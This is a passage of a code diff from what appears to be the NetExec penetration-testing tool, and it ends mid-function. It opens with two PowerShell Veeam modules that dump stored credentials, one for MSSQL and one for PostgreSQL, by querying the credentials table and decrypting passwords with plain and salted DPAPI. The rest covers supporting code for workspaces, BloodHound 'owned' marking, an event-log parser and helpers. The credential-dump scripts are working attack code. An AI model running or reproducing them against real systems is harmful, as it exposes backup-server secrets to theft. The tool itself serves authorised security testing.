+$b64Salt = "REPLACE_ME_b64Salt"
 
 #Forming the connection string
-$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
+$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
 $auth = "Integrated Security=SSPI;" #Local user
 $connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
 $connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
@@ -22,19 +23,46 @@ catch {
 	exit -1
 }
 
-$rows=($dataset.Tables | Select-Object -Expand Rows)
-if ($rows.count -eq 0) {
+$output=($dataset.Tables | Select-Object -Expand Rows)
+if ($output.count -eq 0) {
 	Write-Host "No passwords found!"
 	exit
 }
 
 Add-Type -assembly System.Security
-#Decrypting passwords using DPAPI
-$rows | ForEach-Object -Process {
-	$EnryptedPWD = [Convert]::FromBase64String($_.password)
-	$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
+# Decrypting passwords using DPAPI
+$output | ForEach-Object -Process {
+	$EncryptedPWD = [Convert]::FromBase64String($_.password)
 	$enc = [system.text.encoding]::Default
-	$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
+
+	try {
+		# Decrypt password with DPAPI (old Veeam versions)
+		$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
+		$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
+	} catch {
+		try{
+			# Decrypt password with salted DPAPI (new Veeam versions)
+			$salt = [System.Convert]::FromBase64String($b64Salt)
+			$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
+			foreach ($byte in $EncryptedPWD)
+			{
+				$hex.AppendFormat("{0:x2}", $byte) > $null
+			}
+			$hex = $hex.ToString().Substring(74,$hex.Length-74)
+			$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
+			for ($i = 0; $i -lt $hex.Length; $i += 2)
+			{
+				$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
+			}
+			$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
+			$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
+		}catch {
+			$pw_string = "COULD_NOT_DECRYPT"
+		}
+	}
+	$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
+	$_.password = $pw_string
+	$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
 }
 
-Write-Output $rows | Format-Table -HideTableHeaders | Out-String
+Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000

nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1

@@ -1,8 +1,9 @@
 $PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
 $PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
 $SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
+$b64Salt = "REPLACE_ME_b64Salt"
 
-$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
+$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description  FROM credentials WHERE password != '';"
 $output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
 
 if ($output.count -eq 0) {
@@ -10,13 +11,40 @@ if ($output.count -eq 0) {
 	exit
 }
 
+# Decrypting passwords using DPAPI
 Add-Type -assembly System.Security
-#Decrypting passwords using DPAPI
 $output | ForEach-Object -Process {
-    $EnryptedPWD = [Convert]::FromBase64String($_.password)
-	$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
+	$EncryptedPWD = [Convert]::FromBase64String($_.password)
 	$enc = [system.text.encoding]::Default
-	$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
+
+	try {
+		# Decrypt password with DPAPI (old Veeam versions)
+		$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
+		$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
+	} catch {
+		try{
+			# Decrypt password with salted DPAPI (new Veeam versions)
+			$salt = [System.Convert]::FromBase64String($b64Salt)
+			$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
+			foreach ($byte in $EncryptedPWD)
+			{
+				$hex.AppendFormat("{0:x2}", $byte) > $null
+			}
+			$hex = $hex.ToString().Substring(74,$hex.Length-74)
+			$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
+			for ($i = 0; $i -lt $hex.Length; $i += 2)
+			{
+				$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
+			}
+			$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
+			$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
+		}catch {
+			$pw_string = "COULD_NOT_DECRYPT"
+		}
+	}
+	$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
+	$_.password = $pw_string
+	$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
 }
 
-Write-Output $output | Format-Table -HideTableHeaders | Out-String
+Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000

nxc/database.py

@@ -0,0 +1,179 @@
+import configparser
+import ipaddress
+import shutil
+import sys
+from os import mkdir
+from os.path import exists
+from os.path import join as path_join
+from pathlib import Path
+from sqlite3 import connect
+from threading import Lock
+
+from sqlalchemy import create_engine, MetaData, func
+from sqlalchemy.exc import IllegalStateChangeError
+from sqlalchemy.orm import sessionmaker, scoped_session
+
+from nxc.loaders.protocolloader import ProtocolLoader
+from nxc.logger import nxc_logger
+from nxc.paths import WORKSPACE_DIR
+
+
+def create_db_engine(db_path):
+    return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True)
+
+
+def open_config(config_path):
+    try:
+        config = configparser.ConfigParser()
+        config.read(config_path)
+    except Exception as e:
+        print(f"[-] Error reading nxc.conf: {e}")
+        sys.exit(1)
+    return config
+
+
+def get_workspace(config):
+    return config.get("nxc", "workspace")
+
+
+def set_workspace(config_path, workspace_name):
+    config = open_config(config_path)
+    config.set("nxc", "workspace", workspace_name)
+    write_configfile(config, config_path)
+    print(f"[*] Workspace set to {workspace_name}")
+
+
+def get_db(config):
+    return config.get("nxc", "last_used_db")
+
+
+def write_configfile(config, config_path):
+    with open(config_path, "w") as configfile:
+        config.write(configfile)
+
+
+def init_protocol_dbs(workspace_name, p_loader=None):
+    """Check for each protocol if the database exists, if not create it."""
+    if p_loader is None:
+        p_loader = ProtocolLoader()
+    protocols = p_loader.get_protocols()
+
+    for protocol in protocols:
+        protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
+        proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
+
+        if not exists(proto_db_path):
+            print(f"[*] Initializing {protocol.upper()} protocol database")
+            conn = connect(proto_db_path)
+            c = conn.cursor()
+
+            # try to prevent some weird sqlite I/O errors
+            c.execute("PRAGMA journal_mode = OFF")
+            c.execute("PRAGMA foreign_keys = 1")
+
+            protocol_object.database.db_schema(c)
+
+            # commit the changes and close everything off
+            conn.commit()
+            conn.close()
+
+
+def create_workspace(workspace_name, p_loader=None):
+    """
+    Create a new workspace with the given name.
+
+    Args:
+    ----
+        workspace_name (str): The name of the workspace.
+
+    Returns:
+    -------
+        None
+    """
+    if exists(path_join(WORKSPACE_DIR, workspace_name)):
+        print(f"[-] Workspace {workspace_name} already exists")
+    else:
+        print(f"[*] Creating {workspace_name} workspace")
+        mkdir(path_join(WORKSPACE_DIR, workspace_name))
+
+    init_protocol_dbs(workspace_name, p_loader)
+
+
+def delete_workspace(workspace_name):
+    shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
+    print(f"[*] Workspace {workspace_name} deleted")
+
+
+def initialize_db():
+    if not exists(path_join(WORKSPACE_DIR, "default")):
+        create_workspace("default")
+
+    # Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
+    init_protocol_dbs("default")
+    
+
+def format_host_query(q, filter_term, HostsTable):
+    """One annoying thing is that if you search for an ip such as '10.10.10.5',
+    it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first
+    """
+    # the FTP and SSH protocols call the column host instead of IP
+    # TODO: normalize these column names
+    if hasattr(HostsTable.c, "ip"):
+        ip_column = HostsTable.c.ip
+        nxc_logger.debug("Using 'ip' column for filtering")
+    elif hasattr(HostsTable.c, "host"):
+        ip_column = HostsTable.c.host
+        nxc_logger.debug("Using 'host' column for filtering")
+    else:
+        nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table")
+        return q
+   
+    # first we check if its an ip address 
+    try:
+        ipaddress.ip_address(filter_term)
+        nxc_logger.debug(f"filter_term is an IP address: {filter_term}")
+        q = q.filter(ip_column == filter_term)
+    except ValueError:
+        nxc_logger.debug(f"filter_term is not an IP address: {filter_term}")
+        like_term = func.lower(f"%{filter_term}%")
+        
+        # check if the hostname column exists for hostname searching
+        q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term))
+
+    return q
+
+
+class BaseDB:
+    def __init__(self, db_engine):
+        self.db_engine = db_engine
+        self.db_path = self.db_engine.url.database
+        self.protocol = Path(self.db_path).stem.upper()
+        self.metadata = MetaData()
+        self.reflect_tables()
+        session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
+
+        session = scoped_session(session_factory)
+        self.sess = session()
+        self.lock = Lock()
+
+    def reflect_tables(self):
+        raise NotImplementedError("Reflect tables not implemented")
+
+    def shutdown_db(self):
+        try:
+            self.sess.close()
+        # due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
+        # Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
+        # this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
+        except IllegalStateChangeError as e:
+            nxc_logger.debug(f"Error while closing session db object: {e}")
+
+    def clear_database(self):
+        for table in self.metadata.sorted_tables:
+            self.db_execute(table.delete())
+
+    def db_execute(self, *args):
+        self.lock.acquire()
+        res = self.sess.execute(*args)
+        self.lock.release()
+        return res

nxc/first_run.py

@@ -1,57 +1,46 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
 from os import mkdir
 from os.path import exists
 from os.path import join as path_join
 import shutil
-from nxc.paths import nxc_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
-from nxc.nxcdb import initialize_db
+from nxc.paths import NXC_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
+from nxc.database import initialize_db
 from nxc.logger import nxc_logger
 
 
 def first_run_setup(logger=nxc_logger):
-    if not exists(TMP_PATH):
-        mkdir(TMP_PATH)
-
-    if not exists(nxc_PATH):
+    if not exists(NXC_PATH):
         logger.display("First time use detected")
         logger.display("Creating home directory structure")
-        mkdir(nxc_PATH)
+        mkdir(NXC_PATH)
+    if not exists(TMP_PATH):
+        mkdir(TMP_PATH)
 
     folders = (
         "logs",
         "modules",
-        "protocols",
         "workspaces",
         "obfuscated_scripts",
         "screenshots",
     )
     for folder in folders:
-        if not exists(path_join(nxc_PATH, folder)):
+        if not exists(path_join(NXC_PATH, folder)):
             logger.display(f"Creating missing folder {folder}")
-            mkdir(path_join(nxc_PATH, folder))
+            mkdir(path_join(NXC_PATH, folder))
 
-    initialize_db(logger)
+    log_subfolders = (
+        "sam",
+        "lsa",
+        "ntds",
+        "dpapi",
+    )
+    for subfolder in log_subfolders:
+        if not exists(path_join(NXC_PATH, f"logs/{subfolder}")):
+            logger.display(f"Creating missing folder logs/{subfolder}")
+            mkdir(path_join(NXC_PATH, f"logs/{subfolder}"))
+
+    initialize_db()
 
     if not exists(CONFIG_PATH):
         logger.display("Copying default configuration file")
         default_path = path_join(DATA_PATH, "nxc.conf")
-        shutil.copy(default_path, nxc_PATH)
-
-    # if not exists(CERT_PATH):
-    #     logger.display('Generating SSL certificate')
-    #     try:
-    #         check_output(['openssl', 'help'], stderr=PIPE)
-    #         if os.name != 'nt':
-    #             os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US" > /dev/null 2>&1'.format(path=CERT_PATH))
-    #         else:
-    #             os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US"'.format(path=CERT_PATH))
-    #     except OSError as e:
-    #         if e.errno == errno.ENOENT:
-    #             logger.error('OpenSSL command line utility is not installed, could not generate certificate, using default certificate')
-    #             default_path = path_join(DATA_PATH, 'default.pem')
-    #             shutil.copy(default_path, CERT_PATH)
-    #         else:
-    #             logger.error('Error while generating SSL certificate: {}'.format(e))
-    #             sys.exit(1)
+        shutil.copy(default_path, NXC_PATH)

nxc/helpers/args.py

@@ -0,0 +1,26 @@
+from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
+from argparse import Action
+
+
+class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
+    def _get_help_string(self, action):
+        help_string = action.help
+        if "%(default)" not in action.help and action.default is not SUPPRESS:
+            defaulting_nargs = [OPTIONAL, ZERO_OR_MORE]
+            if (action.option_strings or action.nargs in defaulting_nargs) and action.default:  # Only add default info if it's not None
+                help_string += " (default: %(default)s)"  # NORUFF
+        return help_string
+
+
+class DefaultTrackingAction(Action):
+    def __init__(self, option_strings, dest, default=None, required=False, **kwargs):
+        # Store the default value to check later
+        self.default_value = default
+        super().__init__(
+            option_strings, dest, default=default, required=required, **kwargs
+        )
+
+    def __call__(self, parser, namespace, values, option_string=None):
+        # Set an attribute to track whether the value was explicitly set
+        setattr(namespace, self.dest, values)
+        setattr(namespace, f"{self.dest}_explicitly_set", True)

nxc/helpers/bash.py

@@ -1,9 +1,7 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
 import os
 from nxc.paths import DATA_PATH
 
 
 def get_script(path):
-    with open(os.path.join(DATA_PATH, path), "r") as script:
+    with open(os.path.join(DATA_PATH, path)) as script:
         return script.read()

nxc/helpers/bloodhound.py

@@ -1,18 +1,32 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
-
 def add_user_bh(user, domain, logger, config):
+    """Adds a user to the BloodHound graph database.
+
+    Args:
+    ----
+        user (str or list): The username of the user or a list of user dictionaries.
+        domain (str): The domain of the user.
+        logger (Logger): The logger object for logging messages.
+        config (ConfigParser): The configuration object for accessing BloodHound settings.
+
+    Returns:
+    -------
+        None
+
+    Raises:
+    ------
+        AuthError: If the provided Neo4J credentials are not valid.
+        ServiceUnavailable: If Neo4J is not available on the specified URI.
+        Exception: If an unexpected error occurs with Neo4J.
+    """
     users_owned = []
     if isinstance(user, str):
         users_owned.append({"username": user.upper(), "domain": domain.upper()})
     else:
         users_owned = user
+
     if config.get("BloodHound", "bh_enabled") != "False":
-        try:
-            from neo4j.v1 import GraphDatabase
-        except:
-            from neo4j import GraphDatabase
+        # we do a conditional import here to avoid loading these if BH isn't enabled
+        from neo4j import GraphDatabase
         from neo4j.exceptions import AuthError, ServiceUnavailable
 
         uri = f"bolt://{config.get('BloodHound', 'bh_uri')}:{config.get('BloodHound', 'bh_port')}"
@@ -26,30 +40,62 @@ def add_user_bh(user, domain, logger, config):
             encrypted=False,
         )
         try:
-            with driver.session() as session:
-                with session.begin_transaction() as tx:
-                    for info in users_owned:
-                        if info["username"][-1] == "$":
-                            user_owned = info["username"][:-1] + "." + info["domain"]
-                            account_type = "Computer"
-                        else:
-                            user_owned = info["username"] + "@" + info["domain"]
-                            account_type = "User"
-
-                        result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) RETURN c')
-
-                        if result.data()[0]["c"].get("owned") in (False, None):
-                            logger.debug(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
-                            result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name')
-                            logger.highlight(f"Node {user_owned} successfully set as owned in BloodHound")
-        except AuthError as e:
+            with driver.session().begin_transaction() as tx:
+                for user_info in users_owned:
+                    distinguished_name = "".join([f"DC={dc}," for dc in user_info["domain"].split(".")]).rstrip(",")
+                    domain_query = tx.run(f"MATCH (d:Domain) WHERE d.distinguishedname STARTS WITH '{distinguished_name}' RETURN d").data()
+                    if not domain_query:
+                        logger.debug(f"Domain {user_info['domain']} not found in BloodHound. Falling back to domainless query.")
+                        _add_without_domain(user_info, tx, logger)
+                    else:
+                        domain = domain_query[0]["d"].get("name")
+                        _add_with_domain(user_info, domain, tx, logger)
+        except AuthError:
             logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.")
-            return
-        except ServiceUnavailable as e:
+        except ServiceUnavailable:
             logger.fail(f"Neo4J does not seem to be available on {uri}.")
-            return
         except Exception as e:
-            logger.fail("Unexpected error with Neo4J")
-            logger.fail("Account not found on the domain")
-            return
-        driver.close()
+            logger.fail(f"Unexpected error with Neo4J: {e}")
+        finally:
+            driver.close()
+
+
+def _add_with_domain(user_info, domain, tx, logger):
+    if user_info["username"][-1] == "$":
+        user_owned = f"{user_info['username'][:-1]}.{domain}"
+        account_type = "Computer"
+    else:
+        user_owned = f"{user_info['username']}@{domain}"
+        account_type = "User"
+
+    result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) RETURN c").data()
+
+    if len(result) == 0:
+        logger.fail("Account not found in the BloodHound database.")
+        return
+    if result[0]["c"].get("owned") in (False, None):
+        logger.debug(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name")
+        result = tx.run(f"MATCH (c:{account_type} {{name:'{user_owned}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
+        logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")
+
+
+def _add_without_domain(user_info, tx, logger):
+    if user_info["username"][-1] == "$":
+        user_owned = user_info["username"][:-1]
+        account_type = "Computer"
+    else:
+        user_owned = user_info["username"]
+        account_type = "User"
+
+    result = tx.run(f"MATCH (c:{account_type}) WHERE c.name STARTS WITH '{user_owned}' RETURN c").data()
+
+    if len(result) == 0:
+        logger.fail("Account not found in the BloodHound database.")
+        return
+    elif len(result) >= 2:
+        logger.fail(f"Multiple accounts found with the name '{user_info['username']}' in the BloodHound database. Please specify the FQDN ex:domain.local")
+        return
+    elif result[0]["c"].get("owned") in (False, None):
+        logger.debug(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name")
+        result = tx.run(f"MATCH (c:{account_type} {{name:'{result[0]['c']['name']}'}}) SET c.owned=True RETURN c.name AS name").data()[0]
+        logger.highlight(f"Node {result['name']} successfully set as owned in BloodHound")

nxc/helpers/even6_parser.py

@@ -0,0 +1,213 @@
+# SPDX-License-Identifier: GPL-2.0+
+
+import struct
+import uuid
+
+from datetime import datetime
+
+
+class Substitution:
+    def __init__(self, buf, offset):
+        (sub_token, sub_id, sub_type) = struct.unpack_from("<BHB", buf, offset)
+        self.length = 4
+
+        self._id = sub_id
+        self._type = sub_type
+        self._optional = sub_token == 0x0e
+
+    def xml(self, template=None):
+        value = template.values[self._id]
+        if value.type == 0x0:
+            return None if self._optional else ""
+        if self._type == 0x1:
+            return value.data.decode("utf16")
+        elif self._type == 0x4:
+            return str(struct.unpack("<B", value.data)[0])
+        elif self._type == 0x6:
+            return str(struct.unpack("<H", value.data)[0])
+        elif self._type == 0x8:
+            return str(struct.unpack("<I", value.data)[0])
+        elif self._type == 0xa:
+            return str(struct.unpack("<Q", value.data)[0])
+        elif self._type == 0x11:
+            # see http://integriography.wordpress.com/2010/01/16/using-phython-to-parse-and-present-windows-64-bit-timestamps/
+            return datetime.utcfromtimestamp(struct.unpack("<Q", value.data)[0] / 1e7 - 11644473600).isoformat()
+        elif self._type == 0x13:
+            # see http://www.gossamer-threads.com/lists/apache/bugs/386930
+            revision, number_of_sub_ids = struct.unpack_from("<BB", value.data)
+            iav = struct.unpack_from(">Q", value.data, 2)[0]
+            sub_ids = [struct.unpack("<I", value.data[8 + 4 * i:12 + 4 * i])[0] for i in range(number_of_sub_ids)]
+            return "S-{}-{}-{}".format(revision, iav, "-".join([str(sub_id) for sub_id in sub_ids]))
+        elif self._type == 0x15 or self._type == 0x10:
+            return value.data.hex()
+        elif self._type == 0x21:
+            return value.template.xml()
+        elif self._type == 0xf:
+            return str(uuid.UUID(bytes_le=value.data))
+        else:
+            print("Unknown value type", hex(value.type))
+
+
+class Value:
+    def __init__(self, buf, offset):
+        token, string_type, length = struct.unpack_from("<BBH", buf, offset)
+        self._val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
+
+        self.length = 4 + length * 2
+
+    def xml(self, template=None):
+        return self._val
+
+
+class Attribute:
+    def __init__(self, buf, offset):
+        struct.unpack_from("<B", buf, offset)
+        self._name = Name(buf, offset + 1)
+
+        (next_token) = struct.unpack_from("<B", buf, offset + 1 + self._name.length)
+        if next_token[0] == 0x05 or next_token == 0x45:
+            self._value = Value(buf, offset + 1 + self._name.length)
+        elif next_token[0] == 0x0e:
+            self._value = Substitution(buf, offset + 1 + self._name.length)
+        else:
+            print("Unknown attribute next_token", hex(next_token[0]), hex(offset + 1 + self._name.length))
+
+        self.length = 1 + self._name.length + self._value.length
+
+    def xml(self, template=None):
+        val = self._value.xml(template)
+        return None if val is None else f'{self._name.val}="{val}"'
+
+
+class Name:
+    def __init__(self, buf, offset):
+        hashs, length = struct.unpack_from("<HH", buf, offset)
+
+        self.val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
+        self.length = 4 + (length + 1) * 2
+
+
+class Element:
+    def __init__(self, buf, offset):
+        token, dependency_id, length = struct.unpack_from("<BHI", buf, offset)
+
+        self._name = Name(buf, offset + 7)
+        self._dependency = dependency_id
+
+        ofs = offset + 7 + self._name.length
+        if token == 0x41:
+            struct.unpack_from("<I", buf, ofs)
+            ofs += 4
+
+        self._children = []
+        self._attributes = []
+
+        while True:
+            next_token = buf[ofs]
+            if next_token == 0x06 or next_token == 0x46:
+                attr = Attribute(buf, ofs)
+                self._attributes.append(attr)
+                ofs += attr.length
+            elif next_token == 0x02:
+                self._empty = False
+                ofs += 1
+                while True:
+                    next_token = buf[ofs]
+                    if next_token == 0x01 or next_token == 0x41:
+                        element = Element(buf, ofs)
+                    elif next_token == 0x04:
+                        ofs += 1
+                        break
+                    elif next_token == 0x05:
+                        element = Value(buf, ofs)
+                    elif next_token == 0x0e or next_token == 0x0d:
+                        element = Substitution(buf, ofs)
+                    else:
+                        print("Unknown intern next_token", hex(next_token), hex(ofs))
+                        break
+
+                    self._children.append(element)
+                    ofs += element.length
+
+                break
+            elif next_token == 0x03:
+                self._empty = True
+                ofs += 1
+                break
+            else:
+                print("Unknown element next_token", hex(next_token), hex(ofs))
+                break
+
+        self.length = ofs - offset
+
+    def xml(self, template=None):
+        if self._dependency != 0xFFFF and template.values[self._dependency].type == 0x00:
+            return ""
+
+        attrs = filter(lambda x: x is not None, (x.xml(template) for x in self._attributes))
+        
+        attrs = " ".join(attrs)
+        if len(attrs) > 0:
+            attrs = " " + attrs
+            
+        if self._empty:
+            return f"<{self._name.val}{attrs}/>"
+        else:
+            children = (x.xml(template) for x in self._children)
+            return "<{}{}>{}</{}>".format(self._name.val, attrs, "".join(children), self._name.val)
+
+
+class ValueSpec:
+    def __init__(self, buf, offset, value_offset):
+        self.length, self.type, value_eof = struct.unpack_from("<HBB", buf, offset)
+        self.data = buf[value_offset:value_offset + self.length]
+
+        if self.type == 0x21:
+            self.template = BinXML(buf, value_offset)
+
+
+class TemplateInstance:
+    def __init__(self, buf, offset):
+        token, unknown0, guid, length, next_token = struct.unpack_from("<BB16sIB", buf, offset)
+        if next_token == 0x0F:
+            self._xml = BinXML(buf, offset + 0x16)
+            eof, num_values = struct.unpack_from("<BI", buf, offset + 22 + self._xml.length)
+            values_length = 0
+            self.values = []
+            for x in range(num_values):
+                value = ValueSpec(buf, offset + 22 + self._xml.length + 5 + x * 4, offset + 22 + self._xml.length + 5 + num_values * 4 + values_length)
+                self.values.append(value)
+                values_length += value.length
+
+            self.length = 22 + self._xml.length + 5 + num_values * 4 + values_length
+        else:
+            print("Unknown template token", hex(next_token))
+
+    def xml(self, template=None):
+        return self._xml.xml(self)
+
+
+class BinXML:
+    def __init__(self, buf, offset):
+        header_token, major_version, minor_version, flags, next_token = struct.unpack_from("<BBBBB", buf, offset)
+
+        if next_token == 0x0C:
+            self._element = TemplateInstance(buf, offset + 4)
+        elif next_token == 0x01 or next_token == 0x41:
+            self._element = Element(buf, offset + 4)
+        else:
+            print("Unknown binxml token", hex(next_token))
+
+        self.length = 4 + self._element.length
+
+    def xml(self, template=None):
+        return self._element.xml(template)
+
+
+class ResultSet:
+    def __init__(self, buf):
+        total_size, header_size, event_offset, bookmark_offset, binxml_size = struct.unpack_from("<IIIII", buf)
+        self._xml = BinXML(buf, 0x14)
+
+    def xml(self):
+        return self._xml.xml()

nxc/helpers/http.py

@@ -1,6 +1,3 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
 import random
 
 

nxc/helpers/logger.py

@@ -1,12 +1,10 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
 import os
 from termcolor import colored
+from nxc.paths import NXC_PATH
 
 
 def write_log(data, log_name):
-    logs_dir = os.path.join(os.path.expanduser("~/.nxc"), "logs")
+    logs_dir = os.path.join(NXC_PATH, "logs")
     with open(os.path.join(logs_dir, log_name), "w") as log_output:
         log_output.write(data)
 

nxc/helpers/misc.py

@@ -1,15 +1,14 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
 import random
 import string
 import re
 import inspect
 import os
 
+from ipaddress import ip_address
+
 
 def identify_target_file(target_file):
-    with open(target_file, "r") as target_file_handle:
+    with open(target_file) as target_file_handle:
         for i, line in enumerate(target_file_handle):
             if i == 1:
                 if line.startswith("<NessusClientData"):
@@ -25,11 +24,8 @@ def gen_random_string(length=10):
 
 
 def validate_ntlm(data):
-    allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
-    if allowed.match(data):
-        return True
-    else:
-        return False
+    allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
+    return bool(allowed.match(data))
 
 
 def called_from_cmd_args():
@@ -45,12 +41,10 @@ def called_from_cmd_args():
 
 # Stolen from https://github.com/pydanny/whichcraft/
 def which(cmd, mode=os.F_OK | os.X_OK, path=None):
-    """Given a command, mode, and a PATH string, return the path which
-    conforms to the given mode on the PATH, or None if there is no such
-    file.
-    `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result
-    of os.environ.get("PATH"), or can be overridden with a custom search
-    path.
+    """Find the path which conforms to the given mode on the PATH for a command.
+
+    Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file.
+    `mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path.
     Note: This function was backported from the Python 3 source code.
     """
 
@@ -77,12 +71,78 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None):
     files = [cmd]
 
     seen = set()
-    for dir in path:
-        normdir = os.path.normcase(dir)
+    for p in path:
+        normdir = os.path.normcase(p)
         if normdir not in seen:
             seen.add(normdir)
             for thefile in files:
-                name = os.path.join(dir, thefile)
+                name = os.path.join(p, thefile)
                 if _access_check(name, mode):
                     return name
-    return None
+
+
+def get_bloodhound_info():
+    """
+    Detect which BloodHound package is installed (regular or CE) and its version.
+
+    Returns
+    -------
+        tuple: (package_name, version, is_ce)
+            - package_name: Name of the installed package ('bloodhound', 'bloodhound-ce', or None)
+            - version: Version string of the installed package (or None if not installed)
+            - is_ce: Boolean indicating if it's the Community Edition
+    """
+    import importlib.metadata
+    import importlib.util
+
+    # First check if any BloodHound package is available to import
+    if importlib.util.find_spec("bloodhound") is None:
+        return None, None, False
+
+    # Try to get version info from both possible packages
+    version = None
+    package_name = None
+    is_ce = False
+
+    # Check for bloodhound-ce first
+    try:
+        version = importlib.metadata.version("bloodhound-ce")
+        package_name = "bloodhound-ce"
+        is_ce = True
+    except importlib.metadata.PackageNotFoundError:
+        # Check for regular bloodhound
+        try:
+            version = importlib.metadata.version("bloodhound")
+            package_name = "bloodhound"
+
+            # Even when installed as 'bloodhound', check if it's actually the CE version
+            if version and ("ce" in version.lower() or "community" in version.lower()):
+                is_ce = True
+        except importlib.metadata.PackageNotFoundError:
+            # No bloodhound package found via metadata
+            pass
+
+    # In case we can import it but metadata is not working, check the module itself
+    if not version:
+        try:
+            import bloodhound
+            version = getattr(bloodhound, "__version__", "unknown")
+            package_name = "bloodhound"
+
+            # Check if it's CE based on version string
+            if "ce" in version.lower() or "community" in version.lower():
+                is_ce = True
+                package_name = "bloodhound-ce"
+        except ImportError:
+            pass
+
+    return package_name, version, is_ce
+
+
+def detect_if_ip(target):
+    try:
